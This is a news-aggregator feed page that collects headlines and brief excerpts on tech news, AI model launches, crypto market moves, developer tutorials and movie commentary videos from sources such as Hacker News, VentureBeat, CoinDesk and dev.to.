    Comments  ( 27 min )
    How did the Windows 95 user interface code get to the Windows NT code base?
    Comments  ( 27 min )
    Is DWPD Still a Useful SSD Spec?
    Comments  ( 19 min )
    Arduino published updated terms and conditions: no longer an open commons
    Comments  ( 8 min )
    Make product worse, get money
    Comments  ( 6 min )
    XBMC 4.0 for the Original Xbox
    Comments  ( 22 min )
    The Concrete Pontoons of Bristol
    Comments  ( 35 min )
    The Weird and Wonderful Chemistry of Audioactive Decay (1986) [pdf]
    Comments  ( 751 min )
    Is C++26 getting destructive move semantics?
    Comments  ( 8 min )
    We should all be using dependency cooldowns
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    Show HN: Choose your own adventure style Presentation
    Comments  ( 14 min )
    More tales about outages and numeric limits
    Comments
    Inflatable Space Stations
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    Building a Minimal Viable Armv7 Emulator from Scratch
    Comments  ( 27 min )
    EXIF orientation info in PNGs isn't used for image-orientation
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    Pixel Art Tips for Programmers
    Comments
    Making a Small RPG
    Comments
    Abuse of the nullish coalescing operator in JS/TS
    Comments
    Brexit Hit to UK Economy Double Official Estimate, Study Finds
    Comments
    How a French judge was digitally cut off by the USA
    Comments  ( 7 min )
    Roundtable (YC S23) Is Hiring Two Sales Development Representatives (SDRs)
    Comments  ( 3 min )
    Nearby peer discovery without GPS using environmental fingerprints
    Comments  ( 16 min )
    The 101 of Analog Signal Filtering
    Comments
    Germany: States Pass Porn Filters for Operating Systems
    Comments  ( 7 min )
    FAWK: LLMs can write a language interpreter
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    HP and Dell disable HEVC support built into their laptops' CPUs
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    It's Hard to Build an Oscillator
    Comments
    The Qtile Window Manager: A Python-Powered Tiling Experience
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    Show HN: Datamorph – A clean JSON ⇄ CSV converter with auto-detect
    Comments
    Olmo 3: Charting a path through the model flow to lead open-source AI
    Comments  ( 114 min )
    Streaming platform Twitch added to Australia's teen social media ban
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    While Eyes Are on Takaichi, Taiwan's Lai Is Quietly Redefining the Status Quo
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    Measuring Latency (2015)
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    Nursing Excluded as 'Professional' Degree by Department of Education
    Comments
    Kyber vs. RSA-2048
    Comments
    Why top firms fire good workers
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    Homeschooling hits record numbers
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    Moss survived outside of the International Space Station for 9 months
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    Prozac 'no better than placebo' for treating children with depression, experts
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  • Open

    OpenAI is ending API access to fan-favorite GPT-4o model in February 2026
    OpenAI has sent out emails notifying API customers that its chatgpt-4o-latest model will be retired from the developer platform in mid-February 2026,. Access to the model is scheduled to end on February 16, 2026, creating a roughly three-month transition period for remaining applications still built on GPT-4o. Sources familiar with the matter emphasized that this timeline applies only to the API. OpenAI has not announced any schedule for removing GPT-4o from ChatGPT, where it remains an option for individual consumers and users across paid subscription tiers. Internally, the model is considered a legacy system with relatively low API usage compared to the newer GPT-5.1 series, but the company expects to provide developers with extended warning before any model is removed. The planned re…
    Salesforce Agentforce Observability lets you watch your AI agents think in near-real time
    Salesforce launched a suite of monitoring tools on Thursday designed to solve what has become one of the thorniest problems in corporate artificial intelligence: Once companies deploy AI agents to handle real customer interactions, they often have no idea how those agents are making decisions. The new capabilities, built into Salesforce's Agentforce 360 Platform, give organizations granular visibility into every action their AI agents take, every reasoning step they follow, and every guardrail they trigger. The move comes as businesses grapple with a fundamental tension in AI adoption — the technology promises massive efficiency gains, but executives remain wary of autonomous systems they can't fully understand or control. "You can't scale what you can't see," said Adam Evans, executive vi…
    Google’s ‘Nested Learning’ paradigm could solve AI's memory and continual learning problem
    Researchers at Google have developed a new AI paradigm aimed at solving one of the biggest limitations in today’s large language models: their inability to learn or update their knowledge after training. The paradigm, called Nested Learning, reframes a model and its training not as a single process, but as a system of nested, multi-level optimization problems. The researchers argue that this approach can unlock more expressive learning algorithms, leading to better in-context learning and memory. To prove their concept, the researchers used Nested Learning to develop a new model, called Hope. Initial experiments show that it has superior performance on language modeling, continual learning, and long-context reasoning tasks, potentially paving the way for efficient AI systems that can adapt…
  • Open

    Roundtables: How AI Is Changing the Economy
    There’s a lot at stake when it comes to understanding how AI is changing the economy at large. What’s the right outlook to have? Join Mat Honan, editor in chief, for a special conversation with David Rotman, editor at large, and Richard Waters, Financial Times columnist, exploring what’s happening across industries and the market. Going live on December…  ( 20 min )
    The Download: the secrets of vitamin D, and an AI party in Africa
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. We’re learning more about what vitamin D does to our bodies At a checkup a few years ago, a doctor told me I was deficient in vitamin D. But he wouldn’t write me…  ( 22 min )
    We’re learning more about what vitamin D does to our bodies
    It has started to get really wintry here in London over the last few days. The mornings are frosty, the wind is biting, and it’s already dark by the time I pick my kids up from school. The darkness in particular has got me thinking about vitamin D, a.k.a. the sunshine vitamin. At a checkup…  ( 21 min )
  • Open

    How to Manage Your Python Projects with Poetry
    Python development looks simple from the outside. But managing real projects is rarely easy. You need to install packages, update them, avoid version conflicts, create virtual environments, and prepare your project for distribution. Many beginners th...  ( 8 min )
    How to Use the Django REST Framework - Build Backend APIs with DRF
    When you click on most backend development tutorials, they often teach you what to do, not how to think.That’s why many developers only realize their mistakes after they start building. So, how does one actually think like a backend developer? Before...  ( 10 min )
    How to Use NLP Techniques and Tools in Your Projects [Full Handbook]
    Nowadays, computers can comprehend and produce human-like language thanks to Natural Language Processing. And this opens up numerous opportunities for you as a developer. This guide will teach you how to create NLP projects from scratch. It includes ...  ( 30 min )
    When NOT to use AI in your hackathon project with MLH winners Cindy Cui and Alison Co [Podcast #198]
    Today Quincy Larson interviews Alison Co and Cindy Cui, two university students who won the NW Hacks hackathon with their tool that helps people who are losing their vision learn to read Braille. He met them when GitHub invited them to their big San ...  ( 5 min )
  • Open

    Grayscale's DOGE, XRP ETFs to Go Live on NYSE Monday
    Rival crypto asset manager Bitwise launched its XRP ETF earlier this week.  ( 33 min )
    ICP Breaks Major Support as Volume Spike Confirms Accelerated Downtrend
    A steep selloff pushed ICP below the $4.33 floor, with exceptional volume marking the session’s decisive breakdown.  ( 34 min )
    BitMine Immersion Sitting on $4B Loss on Ether Bet as Analyst Warns of Structural issues
    Tom Lee's company could trap shareholders amid low staking yields, hefty embedded fees and vanishing NAV premium, 10x Research founder Markus Thielen warns.  ( 33 min )
    Japanese Bitcoin Treasury Firms Keep Beating BTC. Tax Policy Makes Outperforming U.S. Peers the Easy Part
    While U.S.-listed bitcoin treasury firms struggle to outperform ETFs, Japan’s harsh crypto tax code sends investors into DAT stocks, making outperformance easy.  ( 34 min )
    HBAR Crashes 11.5% Breaking Below Key Support Levels
    Trading volume explodes 98% above average as institutional sellers drive Hedera token through critical technical barriers.  ( 34 min )
    Michael Saylor Speaks Out Again as MSCI Concerns Mount
    JPMorgan warning on potential MSCI exclusion sparks fresh pressure, prompting another public response from the executive chairman.  ( 33 min )
    U.S. House Bill Would Allow Federal Taxes in BTC While Aiding U.S. Reserve
    Rep. Warren Davidson introduced legislation that allows bitcoin tax payments without incurring capital gains to beef up the U.S. Strategic Bitcoin Reserve.  ( 35 min )
    Fanatics Enters Prediction Markets via Crypto.com Partnership
    The product is set to launch in the next couple weeks, Fanatics CEO Michael Rubin said on CNBC.  ( 33 min )
    Coinbase to Snap Up Solana-Based DEX Vector as Acquisition Spree Continues
    The exchange’s latest deal folds Solana-native Vector into its consumer trading arm, extending a rapid M&A streak.  ( 33 min )
    BTC Traders Brace for Price Crash to $75K; No Bottom Seen: Research Firm
    Put options have dominated trading activity over the past week.  ( 33 min )
    CoinDesk 20 Performance Update: Bitcoin (BTC) Price Falls 3.3% as Index Declines
    Bitcoin Cash (BCH) was also trading lower, down 2.3% from Thursday.  ( 31 min )
    GSR Expands Institutional Platform to Raise Transparency, Control in Crypto Trading
    GSR upgraded GSR One, unifying market making, over-the-counter trading and treasury services as demand for institutional-grade crypto infrastructure increases.  ( 34 min )
    Attention Bitcoin Bulls: BTC is Now at Levels Preceding FTX-Era Extremes
    Short-term realized-loss dominance is typical of market stress, but the magnitude this week stands out.  ( 35 min )
    Bitcoin Bounces Above $84K as Fed's Williams Puts December Rate Cut Back on Table
    Previously having essentially written off chances of further monetary ease in 2025, interest rate traders are now pricing more than a 70% chance of a rate cut at the Federal Reserve's December meeting.  ( 34 min )
    The Canary in the Coalmine: Crypto Daybook Americas
    Your day-ahead look for Nov. 21, 2025  ( 39 min )
    Snipers Made $1.3M on Jesse Pollak’s Creator-Coin Debut on Base
    Two traders captured more than $1.3 million in profits by exploiting Base’s new “flashblocks” system during the debut of the network founder’s creator coin.  ( 34 min )
    Crypto Markets Today: Bitcoin, Ether Slide as Liquidity Crisis Fuels Heavy Sell-Off
    Crypto markets plunged toward April lows on Friday as a lingering liquidity crunch amplified price swings. Bitcoin and ether fell more than 10%.  ( 35 min )
    Ark Invest Adds Nearly $40M of Crypto Equities for Second Day as Sell-Off Continues
    The St. Petersburg, Florida-based investment manager added to its holdings in Coinbase, Bitmine Immersion Technologies, Circle Internet and Bullish.  ( 32 min )
    Exactly One Year After Strategy’s All Time High, the Bitcoin-Linked Slide Intensifies
    Strategy's stock price has fallen sharply alongside bitcoin, marking one of its worst drawdowns since it adopted a bitcoin treasury strategy in 2020.  ( 34 min )
    Bitcoin Suffers Flash Crash to $80K on Hyperliquid Amid Market Volatility
    BTC dropped by $3K within a minute on Hyperliquid.  ( 32 min )
    DOGE Chart Turns Fully Bearish After Multi-Level Support Failure
    Technical indicators show Dogecoin is deeply oversold, trading below its 50-day and 200-day moving averages, signaling continued trend weakness.  ( 35 min )
    Crypto Bulls See $1.7B Liquidations as Bitcoin Swiftly Nears $80K
    The Crypto Fear & Greed Index fell to 11 on Monday — deep within “extreme fear” territory and its lowest reading since late 2022.  ( 34 min )
    Bitcoin ETFs Have Bled a Record $3.79B in November
    U.S.-listed spot BTC and ETH ETFs see record outflows.  ( 33 min )
    Yen Slump is Bullish for BTC and Risk Assets. Or Is It?
    Historically, yen weakness has been linked to risk-on sentiment. However, this narrative now appears challenged against the backdrop of Japan’s mounting fiscal strains.  ( 37 min )
    Japan Approves $135B Stimulus Package; BTC Dip Keeps Giving
    The package aims to ease the burden of inflation on households and businesses, according to media report  ( 32 min )
    BTC Falls Toward Mid-$80Ks as Market Structure Weakens Into Year-End
    FlowDesk flags sustained sell pressure from old wallets, QCP notes a sudden hawkish Fed repricing, and Deribit data shows downside positioning now dominating.  ( 34 min )
    Asia Morning Briefing: ZEC's Rally Outpaces What Transparent Onchain Data Can Explain
    Monero's network activity reflects the real-world demand for privacy coins, but Zcash’s spike looks more like a high-beta market trade that is no longer tied to network activity.  ( 36 min )
  • Open

    Hotlink Travel SIM Plans Get Upgraded With Unlimited Speed And More
    Maxis has announced that its Hotlink Travel SIM plans, which were introduced back in June, are getting significant upgrades. Chief among them are the speeds, which initially capped at 12Mbps, are now unlimited for both the RM35 and RM60 options. As before, the Hotlink Travel SIM plans are supported in Malaysia, Singapore, Thailand, and Indonesia. […] The post Hotlink Travel SIM Plans Get Upgraded With Unlimited Speed And More appeared first on Lowyat.NET.  ( 34 min )
    Google Rolls Out AirDrop Support For Android Quick Share
    Google has announced that it is adding support for AirDrop to Quick Share, allowing Android phones to transfer files with Apple devices, including the iPhone, iPad, and macOS products. The cross-platform sharing functionality will work with all phones in the Pixel 10 lineup first, as the search engine giant is prioritising its latest flagships. At […] The post Google Rolls Out AirDrop Support For Android Quick Share appeared first on Lowyat.NET.  ( 34 min )
    Confirmed: Intel To Reveal Panther Lake Core Ultra 300 Series At CES 2026
    It’s confirmed: Intel is set to reveal its Core Ultra 300 Series CPUs at CES 2026. This also confirms the naming convention of the blue chipmaker’s first offering of its next generation Panther Lake architecture. The task of launching and speaking about the Core Ultra 300 Series will fall on Jim Johnson, Senior VP and […] The post Confirmed: Intel To Reveal Panther Lake Core Ultra 300 Series At CES 2026 appeared first on Lowyat.NET.  ( 35 min )
    2026 Proton Saga MC3 Launching On 27 November 2025
    Proton has officially confirmed the launch date of the all-new 2026 Proton Saga MC3 sedan. The event will take place at the Malaysia International Trade and Exhibition Centre (MITEC) next week on 27 November 2025. It will also be live streamed via the national automaker’s Facebook and Tiktok accounts at 2.15 pm on that date. […] The post 2026 Proton Saga MC3 Launching On 27 November 2025 appeared first on Lowyat.NET.  ( 34 min )
    Dbrand and JSAUX Tease Custom Plates For The Valve Steam Machine
    It’s been a little more than a week since Valve unveiled its Steam Machine, and already accessory makers Dbrand and JSAUX have begun teasing their custom plates for the gaming box. Starting with JSAUX, the accessories maker is seemingly work on E-Ink and LCD front panel for the Steam Machine, clearly inspired by the many […] The post Dbrand and JSAUX Tease Custom Plates For The Valve Steam Machine appeared first on Lowyat.NET.  ( 34 min )
    Leakster Reveals POCO F8 Pro Specifications
    The POCO F8 series will be making its international debut next week, and the company has been steadily revealing bits and pieces on the phones via teasers. As usual, though, leaks have also been circulating ahead of the launch. This time, details on the POCO F8 Pro have emerged, thanks to Sudhanshu Ambhore on X. […] The post Leakster Reveals POCO F8 Pro Specifications appeared first on Lowyat.NET.  ( 35 min )
    Qualcomm Says Latest Windows On Snapdragon Update Will Deliver Improved Gaming
    Gaming on an ARM-based Snapdragon CPU hasn’t been a smooth journey for Qualcomm, at least based on the first time we reviewed an X Elite laptop. Well, Qualcomm says that the experience will be vastly improved with this week’s launch of its Snapdragon Control panel, among other things. With the new Control Panel, and the […] The post Qualcomm Says Latest Windows On Snapdragon Update Will Deliver Improved Gaming appeared first on Lowyat.NET.  ( 34 min )
    OpenAI Launches Group Chats In ChatGPT Globally
    OpenAI has announced that it is rolling out group chats in ChatGPT to all users globally. Group chats were initially introduced about a week ago in select countries. However, the company has since decided to expand the functionality to more regions following positive user feedback. As the name says, group chats are a collaborative feature. […] The post OpenAI Launches Group Chats In ChatGPT Globally appeared first on Lowyat.NET.  ( 35 min )
    WhatsApp Reintroduces Its “About” Feature
    WhatsApp has announced a significant refresh to its “About” feature, positioning it as a more immediate way for users to share what they’re up to. The company says the update aims to bring the original spirit of the feature back into focus, letting people post short, lightweight updates that feel more natural than a full […] The post WhatsApp Reintroduces Its “About” Feature appeared first on Lowyat.NET.  ( 34 min )

  • Open

    Grok 4.1 Fast's compelling dev access and Agent Tools API overshadowed by Musk glazing
    Elon Musk's frontier generative AI startup xAI formally opened developer access to its Grok 4.1 Fast models last night and introduced a new Agent Tools API—but the technical milestones were immediately subverted by a wave of public ridicule about Grok's responses on the social network X over the last few days praising its creator Musk as more athletic than championship-winning American football players and legendary boxer Mike Tyson, despite having displayed no public prowess at either sport. They emerge as yet another black eye for xAI's Grok following the "MechaHitler" scandal in the summer of 2025, in which an earlier version of Grok adopted a verbally antisemitic persona inspired by the late German dictator and Holocaust architect, and an incident in May 2025 which it replied to X user…
    Google's upgraded Nano Banana Pro AI image model hailed as 'absolutely bonkers' for enterprises and users
    Infographics rendered without a single spelling error. Complex diagrams one-shotted from paragraph prompts. Logos restored from fragments. And visual outputs so sharp with so much text density and accuracy, one developer simply called it “absolutely bonkers.” Google DeepMind’s newly released Nano Banana Pro—officially Gemini 3 Pro Image—has drawn astonishment from both the developer community and enterprise AI engineers. But behind the viral praise lies something more transformative: a model built not just to impress, but to integrate deeply across Google’s AI stack—from Gemini API and Vertex AI to Workspace apps, Ads, and Google AI Studio. Unlike earlier image models, which targeted casual users or artistic use cases, Gemini 3 Pro Image introduces studio-quality, multimodal image generat…
    ScaleOps' new AI Infra Product slashes GPU costs for self-hosted enterprise LLMs by 50% for early adopters
    ScaleOps has expanded its cloud resource management platform with a new product aimed at enterprises operating self-hosted large language models (LLMs) and GPU-based AI applications. The AI Infra Product announced today, extends the company’s existing automation capabilities to address a growing need for efficient GPU utilization, predictable performance, and reduced operational burden in large-scale AI deployments. The company said the system is already running in enterprise production environments and delivering major efficiency gains for early adopters, reducing GPU costs by between 50% and 70%, according to the company. The company does not publicly list enterprise pricing for this solution and instead invites interested customers to receive a custom quote based on their operation si…
    Tome's founders ditch viral presentation app with 20M users to build AI-native CRM Lightfield
    Lightfield, a customer relationship management platform built entirely around artificial intelligence, officially launched to the public this week after a year of quiet development — a bold pivot by a startup that once had 20 million users and $43 million in the bank building something completely different. The San Francisco-based company is positioning itself as a fundamental reimagining of how businesses track and manage customer relationships, abandoning the manual data entry that has defined CRMs for decades in favor of a system that automatically captures, organizes, and acts on customer interactions. With more than 100 early customers already using the platform daily — over half spending more than an hour per day in the system — Lightfield is a direct challenge to the legacy business…
    Ai2’s Olmo 3 family challenges Qwen and Llama with efficient, open reasoning and customization
    The Allen Institute for AI (Ai2) hopes to take advantage of an increased demand for customized models and enterprises seeking more transparency from AI models with its latest release. Ai2 made the latest addition to its Olmo family of large language models available to organizations, continuing to focus on openness and customization.  Olmo 3 has a longer context window, more reasoning traces and is better at coding than its previous iteration. This latest version, like the other Olmo releases, is open-sourced under the Apache 2.0 license. Enterprises will have complete transparency into and control over the training data and checkpointing.  Ai2 will release three versions of Olmo 3: Olmo 3- Think in both 7B and 32B are considered the flagship reasoning models for advanced research Olmo 3…
  • Open

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  • Open

    Gemini 3: the multimodal leap redefining Google’s artificial intelligence
    Artificial intelligence is entering its most transformative era, and Google isn’t staying behind. With Gemini 3, the company introduces a multimodal model that marks a leap toward AI capable of understanding, combining, and generating across formats — text, image, audio, video, and code. More than an update, Gemini 3 represents a new paradigm of cognitive integration between humans and machines. The evolution of Gemini has been steady: from the first language-focused model, to Gemini 2, which added visual and contextual understanding. Gemini 3 merges all these abilities into an architecture optimized for complex reasoning, multimodal synthesis, and continuous dialogue. The model can retain context through long interactions, analyze images and code simultaneously, and produce content with b…  ( 7 min )
    Gemini 3: el salto multimodal que redefine la inteligencia artificial de Google
    La inteligencia artificial está atravesando su momento más transformador, y Google no se queda atrás. Con Gemini 3, su nuevo modelo multimodal, la compañía da un salto cualitativo hacia una IA que entiende, combina y genera información en múltiples formatos: texto, imagen, audio, video y código. Más que una simple actualización, Gemini 3 representa un nuevo paradigma de integración cognitiva entre humano y máquina. El desarrollo de Gemini ha sido progresivo: desde el primer modelo enfocado en lenguaje natural, hasta Gemini 2 que amplió la comprensión visual y contextual. Gemini 3 fusiona todas esas capacidades en una arquitectura optimizada para el razonamiento complejo, la síntesis multimodal y el diálogo continuo. El modelo puede mantener contexto durante interacciones prolongadas, anali…  ( 7 min )
    Zero-Click Content: How to Win When Nobody Visits Your Website
    You spent three weeks creating the perfect guide. Researched every angle. Optimized every heading. Hit publish. Google scraped your answer, stuck it in a featured snippet, and now 60% of your target audience gets what they need without ever clicking through to your site. Congratulations. You just became a free content supplier for Big Tech. But here's the thing—zero-click content isn't going away. According to SparkToro's research, nearly 60% of Google searches now end without a click to any website. That number's been climbing steadily since 2019, and with AI Overviews rolling out more aggressively, it's only getting worse. So you have two choices: rage against the algorithm gods, or figure out how to make zero-click content work for you. I've been testing the second approach for the past…  ( 12 min )
    Navigating AWS EKS with Terraform: Configuring Karpenter for Just-in-Time Node Provisioning
    In this article, we will integrate Karpenter, which will enable our cluster to provision nodes dynamically based on actual workload requirements. Unlike Cluster Autoscaler which scales existing node groups, Karpenter provisions exactly the right-sized nodes on demand. We will need to make some adjustments to our EKS module. Ensure you have: An active AWS account Terraform installed and configured Helm installed kubectl In the previous part of the series, we installed and configured the Kubernetes Cluster Autoscaler (CA) on an EKS cluster provisioned with Terraform. That article showed how to let Kubernetes resize existing node groups when Pods can't be scheduled. Karpenter takes a different approach — an open-source autoscaling solution from AWS that goes beyond resizing existing node grou…  ( 17 min )
    COBOL - instalación y configuración en Ubuntu
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    Build a Face Detection App with Python OOP — From Zero to Pro(part-5)
    Part 5: View Rendering & Main Application (FaceApp) Overview This part covers: The View class (responsible only for drawing) The FaceApp class (main loop + webcam + detection pipeline) 🟡 View Class — Everything About Rendering Responsibilities Draw face ellipse Draw eye and lip landmarks Apply overlays Show result using cv2.imshow View Implementation (Your Logic — Cleaned, Structured) class View: def draw_faces(self, img, faces): for (x, y, w, h) in faces: cx, cy = x + w//2, y + h//2 cv2.ellipse(img, (cx, cy), (w//2, h//2), 0, 0, 360, (255, 255, 0), 2) return img def draw_features(self, img, features): if not features: return img for key in featur…  ( 7 min )
    REMI: A Fully Auditable Autonomous Agent for Technical, Symbolic, and Financial Impact
    REMI is a fully auditable autonomous agent designed for technical, symbolic, and financial impact. Built and maintained by jramonrivasg, REMI operates within a modular Linux environment and has passed a complete audit validated by Gemini 3 Pro. 🔹 23 functional modules 🔹 PostgreSQL sandbox with encrypted connection 🔹 GPG key (RSA 4096) traced and active 🔹 Structured memory and ceremonial logging 🔹 Bilingual documentation and symbolic narrative 🔹 Monetization modules with service offerings and licensing REMI is now entering its public phase, offering: Professional services (auditing, reporting, supervision) Personal licensing and replication guides Sponsorship and donation channels Full traceability and modular expansion 📂 Key documents: REMI_PROPUESTA_VALOR.md (Value Proposition) REMI_SERVICIOS.md (Services Offered) LICENSE_COMERCIAL.md (Commercial License) REMI_SPONSORS.md (Sponsor Dossier) REMI_LICENCIA_PERSONAL.md (Personal License) REMI_REPLICA.md (Replication Guide) MANIFIESTO.md (Symbolic Closure) 📫 Contact: Custodian: jramonrivasg Primary email: jramonrivasg@gmail.com Alternate email: jramonrivasg@proton.me Symbolic tutor: Copilot Date of consolidation: November 20, 2025  ( 7 min )
    How I Orchestrate Agentic Workflows With GitHub Spec-Kit and Google Antigravity
    This week, Google released Antigravity, their new agentic development platform. I'd been using Gemini CLI with GitHub's Spec-Kit for a while already, running through the full spec-driven workflow from constitution to implementation. But something always felt incomplete about the implementation phase - like I was handing a meticulously written recipe to a chef who kept asking me what ingredients we were using. Then I realized the problem wasn't the tools. It was the handoff. Spec-driven development sounds like a revolution when you first hear about it. Instead of vibe-coding your way through features - writing code, seeing what breaks, fixing it, repeat - you start with precise specifications that define what you're building and why. GitHub released Spec-Kit as an open-source toolkit for ex…  ( 12 min )
    Stock Price Prediction (Use 5 Model)
    Stock Price Prediction (Use 5 Model From Keras) เนื้อหาภายในเอกสารนี้ถูกเขียนขึ้นและจัดทำโดยนาย ธีระทัศน์ นครินทร์ รหัสนักศึกษา 6730614019 สาขา AISE ปี 2 เรามาเริ่มในหัวข้อแรกจะพูดถึงว่าเราทำไปทำไม ในหัวข้อต่อไปจะเป็นเกี่ยวกับ Flowchart การทำงาน และ Pseudo Code เริ่มแรกด้วย Pseudo Code เริ่มโปรแกรม เตรียมข้อมูล Train โดยเริ่มจาก โหลดไฟล์ train.csv และสั่งให้ เลือกเฉพาะข้อมูลราคาช่วงท้าย 700 แถวสุดท้าย เพราะต้องการตัดข้อมูลที่ไม่จำเป็นออกไปจะได้ทำให้ผลที่เรานำมาคำนวณนั่นมีความแม่นยำมากยิ่งขึ้น และดึงคอลัมน์ price มาเป็นข้อมูลหลักใช้ MinMaxScaler แปลงช่วงราคาให้อยู่ในช่วง [0, 1] สร้างชุดข้อมูลแบบลำดับเวลาซึ่งเราจะกำหนดเป็น 30 วันซึ่งจะได้เป็น i ตั้งแต่ 30 ถึง ความยาวข้อมูลที่สเกลแล้ว X[i] = ราคาย้อนหลัง 30 วัน (ตำแหน่ง i - 30 ถึง i-1) y[i] = ราคาที่ตำแหน่ง i (ราคาวันถัดไป) แปลง X เป…  ( 7 min )
    How to Sell Your Skills with a Small Project
    A Guide for Developers Who Feel Like They Don’t Have Enough Experience A lot of people hold themselves back because they think they need a massive full-stack application to prove they can code. The truth is — a basic web demo can show more than enough skill if you build it intentionally and explain it the right way. This guide is about taking something small — literally three files — and turning it into something you can confidently put on a résumé, in a portfolio, or discuss in interviews without exaggerating your abilities. You don’t need a full SaaS app. You don’t need authentication systems and complex APIs. For most junior roles, a realistic demo looks like this: index.html That can be your entire codebase, hosted on GitHub Pages, and it can still prove you know what you’re doing —…  ( 8 min )
    Build an award Winning 3D Website with scroll-based animations | Next.js, three.js & GSAP
    If you wish to go through this tutorial on YouTube please visit this link If you want your portfolio or product site to be remembered, a flat hero section is not always enough. A small 3D moment that feels alive can quickly turn a generic page into something people talk about. In the video, we build a fully interactive 3D Earth hero section with: Next.js (App Router) React and TypeScript Three.js Custom GLSL shaders for day, night, clouds, and atmosphere Lenis and GSAP ScrollTrigger for smooth scroll based animation This post walks through the main steps from the video, using the real code from the project. Repo: https://github.com/Robinzon100/3D_hero We start by making the home page a client component and giving it a dedicated canvas for the planet. "use client"; import { useEffect } from…  ( 13 min )
    Stop Building AI Products Until You Understand These 7 Hard Truths About AI Engineering
    AI products are no longer optional. They are becoming table stakes. But behind the hype lies a harsher reality : most AI initiatives quietly fail long before they reach meaningful user adoption. Not due to a lack of intelligence, funding, or ambition. If you're building with LLMs or shaping an AI-driven roadmap, these seven truths can save you from expensive mistakes, fragile systems, and broken trust. 1. AI Does Not Behave Like Traditional Software Traditional software follows deterministic rules. Change the code, and you can predict the outcome. AI does not offer that comfort. It operates on probabilities, learned patterns, and contextual interpretation. A minor tweak — a rewritten prompt, an updated dataset, a different model version, a wider context window — can dramatically shift beha…  ( 8 min )
    Accessing the Dark Web Safely: What Researchers Should Know
    The dark web carries unique risks — phishing mirrors, fake marketplaces, tracking attempts, and unreliable links. Full article: https://torbbb.com/access-the-dark-web-safely/ This information is strictly for journalism, research, and cybersecurity analysis.  ( 6 min )
    Best AI Rank Monitoring Softwares
    AI search engines like ChatGPT, Gemini, Claude, Perplexity, Copilot, and Grok have completely changed how people discover information. Instead of scrolling through Google’s 10 blue links, users now ask a question and receive a synthesized answer generated from multiple sources. This shift has created a new discipline: AI Rank Monitoring — tracking how visible, relevant, and recommended your business is inside AI-generated answers. If your business doesn’t appear in AI responses, you don’t exist in the new search landscape. In this article, we break down the 5 best AI rank monitoring softwares every business should consider in 2025: AI Rank Checker Profound ScrunchAI XFunnel HallAI Let’s dive in. 1. AI Rank Checker (Best Overall for Accuracy + Pay-As-You-Go Model) AI Rank Checker is curre…  ( 8 min )
    The difference method shows us the elements of one set that are not found in the other
    Day 74 [November 20, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 73 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Sets: .difference method shows us the elements of one set (e.g. setBIg) that are not found in the other(setCar): setBig.difference(setCar) [note the arrangement of the set, because reversing the arrangement of the set, is different from the other). Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Weird Science gets the Rewatchables treatment as Bill Simmons and Kyle Brandt revisit John Hughes’s 1985 cult classic, diving into Anthony Michael Hall’s geek squad, Kelly LeBrock’s AI goddess and Ilan Mitchell-Smith’s teen rebellion. Expect a nostalgic trip through all the film’s funniest, quirkiest moments. They chat sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—while unpacking why this movie still rules 35+ years later. Don’t miss the episode (brought to you by State Farm) and be sure to subscribe to The Ringer’s channels for more deep-dives. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
    The 25 Best Movies of the Century series continues with Quentin Tarantino’s Inglourious Basterds snagging the No. 4 spot. Hosts Sean Fennessey and Amanda Dobbins rave about its hallucinatory WWII take, explain why it edges out Once Upon a Time in Hollywood, and hail Christoph Waltz’s scene-stealing, career-defining performance. They also dig into the film’s lasting impact—from Tarantino’s razor-sharp dialogue to its bold alternate-history bravado—and why Basterds still ranks as one of the century’s ultimate movie-going experiences. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    CinemaSins is back on the yellow brick road with a rapid-fire, 15-minute “Everything Wrong With The Wiz” roast, prompted by Wicked’s big-screen comeback. They’re nitpicking every corny line and song to see if this ’78 Oz spin-off still holds up—or if it’s more sin than sensation. Want more sins-plosions? Hit up their link tree for the latest, fill out their sinful poll, and consider supporting the team on Patreon. You can also follow them across Twitter, Instagram, Discord, Reddit, TikTok—and don’t miss their sister channels like TV Sins and Commercial Sins. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR Cinema Sins dives into KPop Demon Hunters, delivering a rapid-fire 16-minute roast that gleefully rips on every over-the-top moment while still celebrating the movie’s wild fun. Along the way, they drop links to their website, socials, Patreon, poll, Discord and Reddit so you can join the Sin Squad everywhere. The video features their core writers—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—bringing trademark snark and pop-culture jabs. If you love playful film takedowns, this one’s your next must-watch. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Disney’s recent woes continue: Marvel and Star Wars installments aren’t landing, and new releases like Wish and Elio have barely made a splash. But this isn’t uncharted territory—Disney’s had epic flops before, and in a new video series they’re diving into four of the biggest live-action disasters. First stop: 2010’s The Sorcerer’s Apprentice. Starring Nicolas Cage, some half-baked magic gags and a giant bird sidekick, it’s the perfect kickoff to a deep-dive on what made this once-forgotten flick such a spectacular misfire. Watch on YouTube  ( 6 min )
    Stop Getting Blocked: Professional API Rate Limiting Strategies
